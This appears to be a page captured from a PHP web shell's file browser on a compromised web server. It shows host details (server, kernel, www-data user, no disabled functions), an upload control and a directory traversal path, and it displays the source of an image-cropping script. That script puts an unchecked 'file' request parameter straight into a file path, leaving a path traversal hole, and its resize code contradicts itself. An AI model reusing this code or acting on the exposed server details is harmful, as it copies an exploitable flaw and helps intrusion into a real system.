( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/../tmpr/..//tmpr/..//tmpr/../tmpr/..//tmpr/../v/show3DFont.php
<?php

include("../includes/limittext.php");
include('../Connections/videoondemand.php');  
require("../DbSql.inc.php");
require("../NewsSql.inc.php");
require("../const.inc.php");
$db = new NewsSQL($DBName); 
function filter($arr) {
    global $link;
return array_map(array($link, 'real_escape_string'), $arr);
}

$_GET = filter($_GET);
$_POST = filter($_POST);


function resize($img, $w, $h, $newfilename, $x, $y) {
 

 
 //Get Image size info
 $imgInfo = getimagesize($img);
 switch ($imgInfo[2]) {
  case 1: $im = imagecreatefromgif($img); break;
  case 2: $im = imagecreatefromjpeg($img);  break;
  case 3: $im = imagecreatefrompng($img); break;
  default:  trigger_error('Unsupported filetype!', E_USER_WARNING);  break;
 }
 
 //If image dimension is smaller, do not resize
 if ($imgInfo[0] <= $w && $imgInfo[1] <= $h) {
  $nHeight = $imgInfo[1];
  $nWidth = $imgInfo[0];
 }else{
                //yeah, resize it, but keep it proportional
  if ($w/$imgInfo[0] > $h/$imgInfo[1]) {
   $nWidth = $w;
   $nHeight = $imgInfo[1]*($w/$imgInfo[0]);
  }else{
   $nWidth = $imgInfo[0]*($h/$imgInfo[1]);
   $nHeight = $h;
  }
 }
	
 $nWidth = $imgInfo[0]*($h/$imgInfo[1]);
 $nHeight = $imgInfo[1]*($w/$imgInfo[0]);	
	
 $nWidth = $w;
 $nHeight = $h;
 
	
	
	
	
 $newImg = imagecreatetruecolor($nWidth, $nHeight);
 
 /* Check if this image is PNG or GIF, then set if Transparent*/  
 if(($imgInfo[2] == 1) OR ($imgInfo[2]==3)){
  imagealphablending($newImg, false);
  imagesavealpha($newImg,true);
  $transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);
  imagefilledrectangle($newImg, 0, 0, $nWidth, $nHeight, $transparent);
 }
	
	
/* imagecopyresampled($newImg, $im, 0, 0, 0, 0, $nWidth, $nHeight, $imgInfo[0], $imgInfo[1]);*/
	
	imagecopy($newImg, $im, 0, 0, $x, $y,  $w, $h);
 
 //Generate the file, and rename it to $newfilename
/* switch ($imgInfo[2]) {
  case 1: imagegif($newImg,$newfilename); break;
  case 2: imagejpeg($newImg,$newfilename);  break;
  case 3: imagepng($newImg,$newfilename); break;
  default:  trigger_error('Failed resize image!', E_USER_WARNING);  break;
 }*/
   
	
	 switch ($imgInfo[2]) {
  case 1: imagegif($newImg); break;
  case 2: imagejpeg($newImg);  break;
  case 3: imagepng($newImg); break;
  default:  trigger_error('Failed resize image!', E_USER_WARNING);  break;
 }
   return $newfilename;
}

$file = $_GET["file"]; 
$w = $_GET["sizeWidth"];
$h = $_GET["sizeHeight"];
$x= $_GET["x"];
$y = $_GET["y"];
						
						 
				
				
$img = "uploads/3DFonts/$file"; // File image location
$newfilename = "thumb_image.png"; // New file name for thumb
 
 header('Content-Type: image/png');
$thumbnail = resize($img, $w, $h, $newfilename, $x, $y);
?>